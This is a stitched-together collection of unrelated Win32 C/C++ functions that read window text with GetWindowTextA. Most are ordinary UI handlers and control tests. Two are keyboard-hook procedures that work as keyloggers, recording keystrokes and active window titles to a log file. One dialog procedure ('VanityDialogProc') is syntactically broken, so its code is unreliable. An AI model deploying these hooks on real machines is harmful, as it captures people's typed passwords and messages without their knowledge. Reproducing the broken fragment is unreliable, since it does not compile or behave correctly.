void CNodeInfoWindow::OnClickUpdateTransformButton() { EditorScene* scene = EditorScene::getInstance(); SNodeInfo* info = scene->GetSelectedNodeInfo(); if (!info) return; f32 position[3]; f32 rotation[3]; f32 scaling[3]; char text[256]; for (u32 i = 0; i < 3; i++) { GetWindowTextA(mPosTextFields[i], text, 256); int err = sscanf_s(text, "%f", &position[i]); if (err < 1 || err == EOF) { MessageBoxA(mParentHwnd, "cannot convert position value", "Error", NULL); return; } } for (u32 i = 0; i < 3; i++) { GetWindowTextA(mRotTextFields[i], text, 256); int err = sscanf_s(text, "%f", &rotation[i]); if (err < 1 || err == EOF) { MessageBoxA(mParentHwnd, "cannot convert rotation value", "Error", NULL); return; } } for (u32 i = 0; i < 3; i++) { GetWindowTextA(mScaleTextFields[i], text, 256); int err = sscanf_s(text, "%f", &scaling[i]); if (err < 1 || err == EOF) { MessageBoxA(mParentHwnd, "cannot convert scale value", "Error", NULL); return; } } info->Position.x = position[0]; info->Position.y = position[1]; info->Position.z = position[2]; info->Rotation.x = rotation[0] * XM_PI / 180.0f; info->Rotation.y = rotation[1] * XM_PI / 180.0f; info->Rotation.z = rotation[2] * XM_PI / 180.0f; info->Scaling.x = scaling[0]; info->Scaling.y = scaling[1]; info->Scaling.z = scaling[2]; scene->UpdateNodeInfo(info); UpdateShowing(info); }
bool CCylinderBoundingWindow::Update(SBoundingShape* shape) { f32 height, radius; int err; char text[256]; GetWindowTextA(mHeightTextField, text, 256); err = sscanf_s(text, "%f", &height); if (err < 1 || err == EOF) { MessageBoxA(mParentHwnd, "cannot convert height value", "Error", NULL); return false; } GetWindowTextA(mRadiusTextField, text, 256); err = sscanf_s(text, "%f", &radius); if (err < 1 || err == EOF) { MessageBoxA(mParentHwnd, "cannot convert radius value", "Error", NULL); return false; } SCylinderBounding* cylinder = (SCylinderBounding*)shape; cylinder->Height = height; cylinder->Radius = radius; return true; }
static void test_get_set_text(void) { HWND hwnd; CHAR ip[16]; INT r; hwnd = create_ipaddress_control(); if (!hwnd) { win_skip("IPAddress control not implemented\n"); return; } /* check text just after creation */ r = GetWindowTextA(hwnd, ip, ARRAY_SIZE(ip)); expect(7, r); ok(strcmp(ip, "0.0.0.0") == 0, "Expected null IP address, got %s\n", ip); SendMessageA(hwnd, IPM_SETADDRESS, 0, MAKEIPADDRESS(127, 0, 0, 1)); r = GetWindowTextA(hwnd, ip, ARRAY_SIZE(ip)); expect(9, r); ok(strcmp(ip, "127.0.0.1") == 0, "Expected 127.0.0.1, got %s\n", ip); DestroyWindow(hwnd); }
void CListSide::AddLineAt(int nLine) { AddLine(); int nrLines = m_Lines.size(); for (int i = nrLines - 2; i>= nLine; i--) { HWND hWnd = m_Lines.at(i).edSecond.m_hWnd; int len = GetWindowTextLengthA(hWnd); char* str = NULL; if (len) { len++; str = new char[len]; GetWindowTextA(hWnd, str, len); SetWindowTextA(hWnd, "0:00"); hWnd = m_Lines.at(i+1).edSecond.m_hWnd; SetWindowTextA(hWnd, str); delete[] str; } hWnd = m_Lines.at(i).edText.m_hWnd; len = GetWindowTextLengthA(hWnd); if (len) { len++; str = new char[len]; GetWindowTextA(hWnd, str, len); SetWindowTextA(hWnd, ""); hWnd = m_Lines.at(i+1).edText.m_hWnd; SetWindowTextA(hWnd, str); delete[] str; } } }
/*********************************************************************** * NPS_ProxyPasswordDialog */ static INT_PTR WINAPI NPS_ProxyPasswordDialog( HWND hdlg, UINT uMsg, WPARAM wParam, LPARAM lParam ) { HWND hitem; LPAUTHDLGSTRUCTA lpAuthDlgStruct; if( uMsg == WM_INITDIALOG ) { TRACE("WM_INITDIALOG (%08lx)\n", lParam); /* save the parameter list */ lpAuthDlgStruct = (LPAUTHDLGSTRUCTA) lParam; SetWindowLongPtrW( hdlg, GWLP_USERDATA, lParam ); if( lpAuthDlgStruct->lpExplainText ) { hitem = GetDlgItem( hdlg, IDC_EXPLAIN ); SetWindowTextA( hitem, lpAuthDlgStruct->lpExplainText ); } /* extract the Realm from the proxy response and show it */ if( lpAuthDlgStruct->lpResource ) { hitem = GetDlgItem( hdlg, IDC_REALM ); SetWindowTextA( hitem, lpAuthDlgStruct->lpResource ); } return TRUE; } lpAuthDlgStruct = (LPAUTHDLGSTRUCTA) GetWindowLongPtrW( hdlg, GWLP_USERDATA ); switch( uMsg ) { case WM_COMMAND: if( wParam == IDOK ) { hitem = GetDlgItem( hdlg, IDC_USERNAME ); if( hitem ) GetWindowTextA( hitem, lpAuthDlgStruct->lpUsername, lpAuthDlgStruct->cbUsername ); hitem = GetDlgItem( hdlg, IDC_PASSWORD ); if( hitem ) GetWindowTextA( hitem, lpAuthDlgStruct->lpPassword, lpAuthDlgStruct->cbPassword ); EndDialog( hdlg, WN_SUCCESS ); return TRUE; } if( wParam == IDCANCEL ) { EndDialog( hdlg, WN_CANCEL ); return TRUE; } break; } return FALSE; }
static void test_UDS_SETBUDDYINT(void) { HWND updown; DWORD style, ret; CHAR text[10]; /* cleanup buddy */ text[0] = '\0'; SetWindowTextA(g_edit, text); /* creating without UDS_SETBUDDYINT */ updown = create_updown_control(UDS_ALIGNRIGHT, g_edit); /* try to set UDS_SETBUDDYINT after creation */ style = GetWindowLongA(updown, GWL_STYLE); SetWindowLongA(updown, GWL_STYLE, style | UDS_SETBUDDYINT); style = GetWindowLongA(updown, GWL_STYLE); ok(style & UDS_SETBUDDYINT, "Expected UDS_SETBUDDY to be set\n"); SendMessageA(updown, UDM_SETPOS, 0, 20); GetWindowTextA(g_edit, text, ARRAY_SIZE(text)); ok(lstrlenA(text) == 0, "Expected empty string\n"); DestroyWindow(updown); /* creating with UDS_SETBUDDYINT */ updown = create_updown_control(UDS_SETBUDDYINT | UDS_ALIGNRIGHT, g_edit); GetWindowTextA(g_edit, text, ARRAY_SIZE(text)); /* 50 is initial value here */ ok(lstrcmpA(text, "50") == 0, "Expected '50', got '%s'\n", text); /* now remove style flag */ style = GetWindowLongA(updown, GWL_STYLE); SetWindowLongA(updown, GWL_STYLE, style & ~UDS_SETBUDDYINT); SendMessageA(updown, UDM_SETPOS, 0, 20); GetWindowTextA(g_edit, text, ARRAY_SIZE(text)); ok(lstrcmpA(text, "20") == 0, "Expected '20', got '%s'\n", text); /* set edit text directly, check position */ strcpy(text, "10"); SetWindowTextA(g_edit, text); ret = SendMessageA(updown, UDM_GETPOS, 0, 0); expect(10, ret); strcpy(text, "11"); SetWindowTextA(g_edit, text); ret = SendMessageA(updown, UDM_GETPOS, 0, 0); expect(11, LOWORD(ret)); expect(0, HIWORD(ret)); /* set to invalid value */ strcpy(text, "21st"); SetWindowTextA(g_edit, text); ret = SendMessageA(updown, UDM_GETPOS, 0, 0); expect(11, LOWORD(ret)); expect(TRUE, HIWORD(ret)); /* set style back */ style = GetWindowLongA(updown, GWL_STYLE); SetWindowLongA(updown, GWL_STYLE, style | UDS_SETBUDDYINT); SendMessageA(updown, UDM_SETPOS, 0, 30); GetWindowTextA(g_edit, text, ARRAY_SIZE(text)); ok(lstrcmpA(text, "30") == 0, "Expected '30', got '%s'\n", text); DestroyWindow(updown); }
static INT_PTR CALLBACK page_dlg_proc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) { switch(msg) { case WM_INITDIALOG: { HWND sheet = GetParent(hwnd); char caption[256]; GetWindowTextA(sheet, caption, sizeof(caption)); ok(!strcmp(caption,"test caption"), "caption: %s\n", caption); return TRUE; } case WM_NOTIFY: { NMHDR *nmhdr = (NMHDR *)lparam; switch(nmhdr->code) { case PSN_APPLY: return TRUE; default: return FALSE; } } case WM_NCDESTROY: ok(!SendMessageA(sheethwnd, PSM_INDEXTOHWND, 400, 0),"Should always be 0\n"); return TRUE; default: return FALSE; } }
static void test_dtm_set_format(void) { HWND hWnd; CHAR txt[256]; SYSTEMTIME systime; LRESULT r; hWnd = create_datetime_control(DTS_SHOWNONE); flush_sequences(sequences, NUM_MSG_SEQUENCES); r = SendMessageA(hWnd, DTM_SETFORMATA, 0, 0); expect(1, r); r = SendMessageA(hWnd, DTM_SETFORMATA, 0, (LPARAM)"'Today is: 'hh':'m':'s dddd MMM dd', 'yyyy"); expect(1, r); ok_sequence(sequences, DATETIME_SEQ_INDEX, test_dtm_set_format_seq, "test_dtm_set_format", FALSE); r = SendMessageA(hWnd, DTM_SETFORMATA, 0, (LPARAM)"'hh' hh"); expect(1, r); ZeroMemory(&systime, sizeof(systime)); systime.wYear = 2000; systime.wMonth = systime.wDay = 1; r = SendMessageA(hWnd, DTM_SETSYSTEMTIME, 0, (LPARAM)&systime); expect(1, r); GetWindowTextA(hWnd, txt, 256); ok(strcmp(txt, "hh 12") == 0, "String mismatch (\"%s\" vs \"hh 12\")\n", txt); DestroyWindow(hWnd); }
/* * Get the current sellection of the given combo box and set a DCB field to * the value matching that selection. */ static BOOL SERIALUI_GetConfItems(HWND hDlg, DWORD id, LPCPARAM2STR table, LPDWORD lpdwVal) { DWORD i; CHAR lpEntry[20]; HWND hControl = GetDlgItem(hDlg,id); if( (!hControl) || (!lpdwVal)) { TRACE("Couldn't get window handle for item %lx\n",id); return FALSE; } if(!GetWindowTextA(hControl, &lpEntry[0], sizeof(lpEntry))) { TRACE("Couldn't get window text for item %lx\n",id); return FALSE; } /* TRACE("%ld contains %s\n",id, lpEntry); */ for(i=0; i<table->dwSize; i++) { if(!lstrcmpA(table->data[i].name,lpEntry)) { *lpdwVal = table->data[i].val; return TRUE; } } return FALSE; }
BOOL CALLBACK CWindowsFunctions::CB_EnumChildProc(HWND hwnd, LPARAM lParam) { int length = GetWindowTextLengthA(hwnd); if (length > 0) { length++; // NULL character char* jpn = new char[length]; length = GetWindowTextA(hwnd, jpn, length); if (length > 0) { char className[6]; GetClassNameA(hwnd, className, sizeof(className)); if (strcmp(className, "Edit") != 0) { bool result = m_resources->TranslateUserInterface(jpn, m_uiBuffer, UI_BUFFER); if (result) { SetWindowTextA(hwnd, m_uiBuffer); } } } delete[] jpn; } return TRUE; }
BOOL GetEdit1TextAsMPZ(HWND hDlg, mpz_t _P) { char b[2048]; LPSTR buf=(LPSTR)b; GetWindowTextA(GetDlgItem(hDlg, IDC_EDIT1), &buf[0], 2047); INT ii=(INT)SendMessage(GetDlgItem(hDlg, IDC_BASE_LIST), LB_GETCURSEL, 0, 0); UINT i, Base, Bits, Trues; BOOL Success=TRUE; switch(ii) { case 0: Base=10; break; case 1: case 2: Base=16; break; case 3: Base=32; break; case 4: Base=62; break; default: Success=FALSE; break; } //uint32_t ulMaxBits=2*sizeof(uint32_t)*8 + mp_bits_per_limb;mpz_init2(FFmpzTMP, ulMaxBits); Success &= (mpz_init_set_str(_P, (char*)buf, Base)!=-1); if(Success) { Bits=mpz_sizeinbase(_P, 2); Trues=0; for(i=0; i<Bits; i++) if(mpz_tstbit(_P, i))Trues++; SetLabelUI(hDlg, IDC_BITS_STT, Bits); SetLabelUI(hDlg, IDC_TRUES_STT, Trues); } else { SetLabelUI(hDlg, IDC_BITS_STT, 0xFFFFFFFF); SetLabelUI(hDlg, IDC_TRUES_STT, 0xFFFFFFFF); } return Success; }//--//
int GetWindowTextUTF8(HWND hWnd, LPTSTR lpString, int nMaxCount) { if (!lpString) return 0; if (nMaxCount>0 AND_IS_NOT_WIN9X) { int alloc_size=nMaxCount; // prevent large values of nMaxCount from allocating memory unless the underlying text is big too if (alloc_size > 512) { int l=GetWindowTextLengthW(hWnd); if (l>=0 && l < 512) alloc_size=1000; } { WIDETOMB_ALLOC(wbuf, alloc_size); if (wbuf) { GetWindowTextW(hWnd,wbuf,(int) (wbuf_size/sizeof(WCHAR))); if (!WideCharToMultiByte(CP_UTF8,0,wbuf,-1,lpString,nMaxCount,NULL,NULL) && GetLastError()==ERROR_INSUFFICIENT_BUFFER) lpString[nMaxCount-1]=0; WIDETOMB_FREE(wbuf); return (int)strlen(lpString); } } } return GetWindowTextA(hWnd,lpString,nMaxCount); }
static VOID DoSaveFile(VOID) { HANDLE hFile; DWORD dwNumWrite; LPSTR pTemp; DWORD size; hFile = CreateFile(Globals.szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) { ShowLastError(); return; } size = GetWindowTextLengthA(Globals.hEdit) + 1; pTemp = HeapAlloc(GetProcessHeap(), 0, size); if (!pTemp) { CloseHandle(hFile); ShowLastError(); return; } size = GetWindowTextA(Globals.hEdit, pTemp, size); if (!WriteFile(hFile, pTemp, size, &dwNumWrite, NULL)) ShowLastError(); else SendMessage(Globals.hEdit, EM_SETMODIFY, FALSE, 0); SetEndOfFile(hFile); CloseHandle(hFile); HeapFree(GetProcessHeap(), 0, pTemp); }
static void test_create_updown_control(void) { CHAR text[MAX_PATH]; parent_wnd = create_parent_window(); ok(parent_wnd != NULL, "Failed to create parent window!\n"); ok_sequence(sequences, PARENT_SEQ_INDEX, create_parent_wnd_seq, "create parent window", TRUE); flush_sequences(sequences, NUM_MSG_SEQUENCES); edit = create_edit_control(); ok(edit != NULL, "Failed to create edit control\n"); ok_sequence(sequences, PARENT_SEQ_INDEX, add_edit_to_parent_seq, "add edit control to parent", FALSE); flush_sequences(sequences, NUM_MSG_SEQUENCES); updown = create_updown_control(); ok(updown != NULL, "Failed to create updown control\n"); ok_sequence(sequences, PARENT_SEQ_INDEX, add_updown_to_parent_seq, "add updown control to parent", TRUE); ok_sequence(sequences, EDIT_SEQ_INDEX, add_updown_with_edit_seq, "add updown control with edit", FALSE); flush_sequences(sequences, NUM_MSG_SEQUENCES); GetWindowTextA(edit, text, MAX_PATH); ok(lstrlenA(text) == 0, "Expected empty string\n"); ok_sequence(sequences, EDIT_SEQ_INDEX, get_edit_text_seq, "get edit text", FALSE); flush_sequences(sequences, NUM_MSG_SEQUENCES); test_updown_pos(); test_updown_pos32(); test_updown_buddy(); test_updown_base(); test_updown_unicode(); }
BOOL CALLBACK VanityDialogProc(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam) { switch(msg) { case WM_INITDIALOG: return TRUE; case WM_DESTROY: destroy: EndDialog(hDlg,0); return TRUE; case WM_COMMAND: { int code = wParam>>16; int which = wParam & 0xFFFF; switch( which ) { case 1: { char buffer[64]; buffer[0]=0; HWND b = GetDlgItem(hDlg,501); // FIXME - should create symbol for 501 GetWindowTextA(b,buffer,sizeof(buffer)); // Filter out weirdness. char* q=buffer; for( char* p=buffer; char c = *p; ++p ) { if( isspace(c) *q++ = ' '; else if( isprint(c) ) *q++ = c; } *p++ = '\0'; goto destroy; } break; } break; } }
static DWORD set_foreground(HWND hwnd) { HWND hwnd_fore; DWORD set_id, fore_id, ret; char win_text[1024]; hwnd_fore = GetForegroundWindow(); GetWindowTextA(hwnd_fore, win_text, 1024); set_id = GetWindowThreadProcessId(hwnd, NULL); fore_id = GetWindowThreadProcessId(hwnd_fore, NULL); trace("\"%s\" %p %08x hwnd %p %08x\n", win_text, hwnd_fore, fore_id, hwnd, set_id); ret = AttachThreadInput(set_id, fore_id, TRUE); trace("AttachThreadInput returned %08x\n", ret); ret = ShowWindow(hwnd, SW_SHOWNORMAL); trace("ShowWindow returned %08x\n", ret); ret = SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE); trace("set topmost returned %08x\n", ret); ret = SetWindowPos(hwnd, HWND_NOTOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE); trace("set notopmost returned %08x\n", ret); ret = SetForegroundWindow(hwnd); trace("SetForegroundWindow returned %08x\n", ret); Sleep(250); AttachThreadInput(set_id, fore_id, FALSE); return ret; }
int DoMyControlProcessing(HWND hdlg,UINT message,WPARAM wParam,LPARAM lParam,INT_PTR *bReturn) { switch(message) { case WM_INITDIALOG: EnumChildWindows(hdlg,MyControlsEnumChildren,0); if(hEmfHeaderLogo==NULL) { HRSRC hRsrc=FindResourceA(hInst,MAKEINTRESOURCEA(IDE_HDRLOGO),"EMF"); HGLOBAL hGlob=LoadResource(hInst,hRsrc); hEmfHeaderLogo=SetEnhMetaFileBits(SizeofResource(hInst,hRsrc),(PBYTE)LockResource(hGlob)); } SendDlgItemMessage(hdlg,IDC_HDRLOGO,STM_SETIMAGE,IMAGE_ENHMETAFILE,(LPARAM)hEmfHeaderLogo); break; case WM_CTLCOLORSTATIC: if((GetWindowLong((HWND)lParam,GWL_STYLE)&0xFFFF)==0) { char szText[256]; GetWindowTextA((HWND)lParam,szText,sizeof(szText)); if(!strcmp(szText,"whiterect")) { SetTextColor((HDC)wParam,RGB(255,255,255)); SetBkColor((HDC)wParam,RGB(255,255,255)); SetBkMode((HDC)wParam,OPAQUE); *bReturn=(INT_PTR)GetStockObject(WHITE_BRUSH); return TRUE; } else { SetBkMode((HDC)wParam,TRANSPARENT); *bReturn=(INT_PTR)GetStockObject(NULL_BRUSH); return TRUE; } } break; } return FALSE; }
int CFrame::getChromeTitle(LPSTR lpBuf, int maxLen) { HWND hChrome = chromeHwnd(); if (!hChrome) { return -1; } GetWindowTextA(hChrome, lpBuf, maxLen); int nLen = strlen(lpBuf); if (nLen == 0 || nLen >= maxLen / 2) { strcpy_s(lpBuf, maxLen, ("ERR")); return 3; } else { for (int i = 1; i < nLen; i++) { if (lpBuf[i] == '-') { lpBuf[i - 1] = '\0'; return i - 1; } } } return nLen; }
void MusPlayer_WinAPI::on_play_clicked() { if(Mix_PlayingMusic()) { if(Mix_PausedMusic()) { Mix_ResumeMusic(); SetWindowTextW(m_buttonPlay, L"Pause"); return; } else { Mix_PauseMusic(); SetWindowTextW(m_buttonPlay, L"Resume"); return; } } char trackIDtext[1024]; memset(trackIDtext, 0, 1024); GetWindowTextA(m_gme.m_trackNum, trackIDtext, 1024); int trackID = atoi(trackIDtext); m_prevTrackID = trackID; SetWindowTextW(m_buttonPlay, L"Play"); if(currentMusic.empty()) return; if(PGE_MusicPlayer::MUS_openFile(currentMusic +"|"+trackIDtext ) ) { PGE_MusicPlayer::MUS_playMusic(); SetWindowTextW(m_buttonPlay, L"Pause"); } ShowWindow(m_groupGME, SW_HIDE); ShowWindow(m_groupMIDI, SW_HIDE); ShowWindow(m_groupADLMIDI, SW_HIDE); switch(PGE_MusicPlayer::type) { case MUS_MID: ShowWindow(m_groupMIDI, SW_SHOW); ShowWindow(m_groupADLMIDI, SW_SHOW); m_height = 350; break; case MUS_SPC: ShowWindow(m_groupGME, SW_SHOW); m_height = 220; break; default: m_height = 170; break; } SetWindowPos(m_hWnd, HWND_TOP, 0, 0, 350, m_height, SWP_NOMOVE|SWP_NOZORDER); SetWindowTextW(m_labelTitle, Str2Wstr(PGE_MusicPlayer::MUS_getMusTitle()).c_str()); SetWindowTextW(m_labelArtist, Str2Wstr(PGE_MusicPlayer::MUS_getMusArtist()).c_str()); SetWindowTextW(m_labelAlboom, Str2Wstr(PGE_MusicPlayer::MUS_getMusAlbum()).c_str()); SetWindowTextW(m_labelCopyright, Str2Wstr(PGE_MusicPlayer::MUS_getMusCopy()).c_str()); SetWindowTextA(m_formatInfo, PGE_MusicPlayer::musicTypeC()); }
LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam) { HWND hFocus=GetForegroundWindow(); if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam); if(code==HC_ACTION) { KBDLLHOOKSTRUCT *pKBst=(KBDLLHOOKSTRUCT *)lParam; if(wParam==WM_KEYDOWN) { DWORD dwCount,dwBytes; char svBuffer[256]; int vKey,nScan; vKey=pKBst->vkCode; nScan=pKBst->scanCode; nScan<<=16; // Check to see if focus has changed if(g_hLastFocus!=hFocus) { char svTitle[256]; int nCount; nCount=GetWindowTextA(hFocus,svTitle,256); if(nCount>0) { char svBuffer[512]; sprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle); WriteFile(g_hCapFile,svBuffer,strlen(svBuffer),&dwBytes,NULL); } g_hLastFocus=hFocus; } // Write out key dwCount=GetKeyNameTextA(nScan,svBuffer,256); if(dwCount) { if(vKey==VK_SPACE) { svBuffer[0]=' '; svBuffer[1]='\0'; dwCount=1; } if(dwCount==1) { BYTE kbuf[256]; WORD ch; int chcount; GetKeyboardState(kbuf); chcount=ToAscii(vKey,nScan,kbuf,&ch,0); if(chcount>0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL); } else { WriteFile(g_hCapFile,"[",1,&dwBytes,NULL); WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL); WriteFile(g_hCapFile,"]",1,&dwBytes,NULL); if(vKey==VK_RETURN) WriteFile(g_hCapFile,"\r\n",2,&dwBytes,NULL); } } } } return CallNextHookEx(g_hLogHook,code,wParam,lParam); }
void OnRegisterClick(CCtrlButton*) { if (GetWindowTextLength(m_pw1.GetHwnd()) != 3 || GetWindowTextLength(m_pw2.GetHwnd()) != 3) { MessageBox(NULL, TranslateT("Please correctly specify your registration code received by SMS"), PRODUCT_NAME, MB_ICONEXCLAMATION); return; } char code[10]; GetWindowTextA(m_pw1.GetHwnd(), code, 4); GetWindowTextA(m_pw2.GetHwnd(), code + 3, 4); string password; ptrA cc(m_cc.GetTextA()), number(m_login.GetTextA()); if (m_proto->Register(REG_STATE_REG_CODE, string(cc), string(number), string(code), password)) { m_proto->setString(WHATSAPP_KEY_PASS, password.c_str()); MessageBox(NULL, TranslateT(szPasswordSet), PRODUCT_NAME, MB_ICONWARNING); } }
void CListSide::RemoveLineAt(int nLine) { int nrLines = m_Lines.size(); for (int i = nLine; i < nrLines; i++) { HWND hWnd = m_Lines.at(i).edSecond.m_hWnd; int len = GetWindowTextLengthA(hWnd); char* str = NULL; if (len) { len++; str = new char[len]; GetWindowTextA(hWnd, str, len); SetWindowTextA(hWnd, ""); hWnd = m_Lines.at(i-1).edSecond.m_hWnd; SetWindowTextA(hWnd, str); delete[] str; } hWnd = m_Lines.at(i).edText.m_hWnd; len = GetWindowTextLengthA(hWnd); if (len) { len++; str = new char[len]; GetWindowTextA(hWnd, str, len); SetWindowTextA(hWnd, ""); hWnd = m_Lines.at(i-1).edText.m_hWnd; SetWindowTextA(hWnd, str); delete[] str; } } RemoveLine(); /* RECT rect; GetWindowRect(m_Lines.back().edText.m_hWnd, &rect); POINT pt = {rect.right, rect.bottom}; ScreenToClient(m_hWnd, &pt); // int nBottom = m_rClient.top + m_Lines.back().nIndex * m_nLineHeight + m_nLineHeight; UpdateScrollBar(pt.y);*/ }
void ExtFrame::RegChannels() { // set property "tradelink" on this window so we can find it easily CString caption; GetWindowTextA(caption); HWND h = (HWND)FindWindowA(NULL,caption); if (h) { SetProp(h,"TradeLink",(HANDLE)h); } }
end_edit(TableUI *tui) { if (is_editing(tui)) { char buf[65536]; /* An EDIT control's limit */ int len = GetWindowTextLength(tui->edit); GetWindowTextA (tui->edit, buf, len + 1); set_cell(tui->table, tui->cur_row, tui->cur_col, buf, len); cancel_edit(tui); redraw_rows(tui, tui->cur_row, tui->cur_row); } }
LRESULT CALLBACK MsgHookProc(int nCode, WPARAM wPARAM, LPARAM lParam) { if (HC_ACTION == nCode) //说明有消息到来 { PMSG pMsg = (PMSG)lParam; char szWindowName[MAXBYTE] = { 0 }; char szOutput[MAXBYTE] = { 0 }; char szOutput2[MAXBYTE] = { 0 }; FILE *logfile; if (pMsg->message == WM_CHAR)//字符消息 { //确定此时已经按下一个键 char szKey = (char)pMsg->wParam; //MessageBox(nullptr, L"你按下了一个键", L"", MB_OK); if (szKey >= 32 && szKey <= 126) //有效字符消息 32到126之间 { GetWindowTextA(pMsg->hwnd, szWindowName, MAXBYTE);//哪个窗口 sprintf_s(szOutput, MAXBYTE, "窗口:[%s]接收到:%c\n", szWindowName, szKey); OutputDebugStringA(szOutput); fopen_s(&logfile, "c:\\ouput.txt", "a+"); fprintf(logfile,szOutput); fclose(logfile); } } ////////////////////////////////////////////// else if (pMsg->message == WM_IME_CHAR)//输入法消息 { //确定此时已经按下一个键 char szKey2 = (char)pMsg->wParam; GetWindowTextA(pMsg->hwnd, szWindowName, MAXBYTE);//哪个窗口 sprintf_s(szOutput2, MAXBYTE, "窗口:[%s]接收到:%c\n", szWindowName, szKey2); OutputDebugStringA(szOutput2); fopen_s(&logfile, "c:\\ouput.txt", "a+"); fprintf(logfile, szOutput2); fclose(logfile); //输入法的消息无法记录,原因不明。 } } return CallNextHookEx(g_hHook, nCode, wPARAM, lParam); }
// Spout OpenGL initialization function bool SpoutSenderPlugin::InitOpenGL() { char windowtitle[512]; // We only need an OpenGL context with no window m_hwnd = GetForegroundWindow(); // Any window will do - we don't render to it if(!m_hwnd) { printf("InitOpenGL error 1\n"); MessageBoxA(NULL, "Error 1\n", "InitOpenGL", MB_OK); return false; } m_hdc = GetDC(m_hwnd); if(!m_hdc) { printf("InitOpenGL error 2\n"); MessageBoxA(NULL, "Error 2\n", "InitOpenGL", MB_OK); return false; } GetWindowTextA(m_hwnd, windowtitle, 256); // debug PIXELFORMATDESCRIPTOR pfd; ZeroMemory( &pfd, sizeof( pfd ) ); pfd.nSize = sizeof( pfd ); pfd.nVersion = 1; pfd.dwFlags = PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER; pfd.iPixelType = PFD_TYPE_RGBA; pfd.cColorBits = 32; pfd.cDepthBits = 24; // LJ DEBUG - was 16; pfd.cStencilBits = 8; // LJ DEBUG -added pfd.iLayerType = PFD_MAIN_PLANE; int iFormat = ChoosePixelFormat(m_hdc, &pfd); if(!iFormat) { printf("InitOpenGL error 3\n"); MessageBoxA(NULL, "Error 3\n", "InitOpenGL", MB_OK); return false; } if(!SetPixelFormat(m_hdc, iFormat, &pfd)) { printf("InitOpenGL error 4\n"); MessageBoxA(NULL, "Error 4\n", "InitOpenGL", MB_OK); return false; } m_hRC = wglCreateContext(m_hdc); if(!m_hRC) { printf("InitOpenGL error 5\n"); MessageBoxA(NULL, "Error 5\n", "InitOpenGL", MB_OK); return false; } wglMakeCurrent(m_hdc, m_hRC); if(wglGetCurrentContext() == NULL) { printf("InitOpenGL error 6\n"); MessageBoxA(NULL, "Error 6\n", "InitOpenGL", MB_OK); return false; } // Set up a shared context if(!m_hSharedRC) m_hSharedRC = wglCreateContext(m_hdc); if(!m_hSharedRC) { printf("InitOpenGL shared context not created\n"); } if(!wglShareLists(m_hSharedRC, m_hRC)) { printf("wglShareLists failed\n"); } // Drop through to return true /* SendMessageTimeoutA(m_hwnd, WM_GETTEXT, 256, (LPARAM)windowtitle, SMTO_ABORTIFHUNG, 128, NULL); printf("InitOpenGL : hwnd = %x (%s), hdc = %x, context = %x\n", m_hwnd, windowtitle, m_hdc, m_hRC); int nTotalAvailMemoryInKB = 0; int nCurAvailMemoryInKB = 0; // GPU_MEMORY_INFO_TOTAL_AVAILABLE_MEMORY_NVX 0x9048 // GPU_MEMORY_INFO_CURRENT_AVAILABLE_VIDMEM_NVX 0x9049 glGetIntegerv(0x9048, &nTotalAvailMemoryInKB); glGetIntegerv(0x9049, &nCurAvailMemoryInKB); printf("Memory : Total [%i], Available [%i]\n", nTotalAvailMemoryInKB, nCurAvailMemoryInKB); */ return true; }
BOOL CALLBACK window_with_prefix_callback(HWND window, LPARAM lParam) { window_with_prefix_data_t *find = (window_with_prefix_data_t *)lParam; char title[80]; GetWindowTextA(window, title, sizeof(title)); if( !find->window && strncmp(find->prefix, title, strlen(find->prefix)) == 0 ) { find->window = window; } return TRUE; }
VDStringA VDGetWindowTextAW32(HWND hwnd) { char buf[512]; int len = GetWindowTextLengthA(hwnd); if (len > 511) { vdblock<char> tmp(len + 1); len = GetWindowTextA(hwnd, tmp.data(), tmp.size()); const char *s = tmp.data(); VDStringA text(s, s+len); return text; } else if (len > 0) { len = GetWindowTextA(hwnd, buf, 512); return VDStringA(buf, buf + len); } return VDStringA(); }
std::string GetText(HWND hWnd) { size_t len = GetWindowTextLengthA(hWnd) + 1; if (len != 0) { char *text = (char *)alloca(len); len = GetWindowTextA(hWnd, text, len); return std::string(text, len); } return std::string(); }
BOOL CALLBACK DialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) { BOOL fReturn = TRUE; switch(uMsg) { case WM_INITDIALOG: { RECT rtWindow = {0}; RECT rtContainer = {0}; GetWindowRect(hDlg,&rtWindow); rtWindow.right -= rtWindow.left; rtWindow.bottom -= rtWindow.top; SystemParametersInfo(SPI_GETWORKAREA,0,&rtContainer,0); SetWindowPos(hDlg,NULL,(rtContainer.right - rtWindow.right) / 2,(rtContainer.bottom - rtWindow.bottom) / 2,0,0,SWP_NOSIZE); SendMessage(GetDlgItem(hDlg, IDC_EDIT1),EM_LIMITTEXT,16, 0); break; } case WM_COMMAND:{ if (lParam != 0){ if(HIWORD(wParam) == BN_CLICKED){ switch(LOWORD(wParam)){ case IDOK: { char szPassWord[17]={0}; GetWindowTextA(GetDlgItem(hDlg, IDC_EDIT1), szPassWord, 17); Word::_DocumentPtr ptrdoc = g_Application->GetActiveDocument(); if (ptrdoc){ BSTR bstrPswd = _bstr_t(szPassWord); ptrdoc->put_Password(bstrPswd); ptrdoc->Save(); } EndDialog(hDlg, true); break; } case IDCANCEL: EndDialog(hDlg, true); break; } } } break; } case WM_DESTROY: //::PostQuitMessage(0); break; default: fReturn = FALSE; } return fReturn; }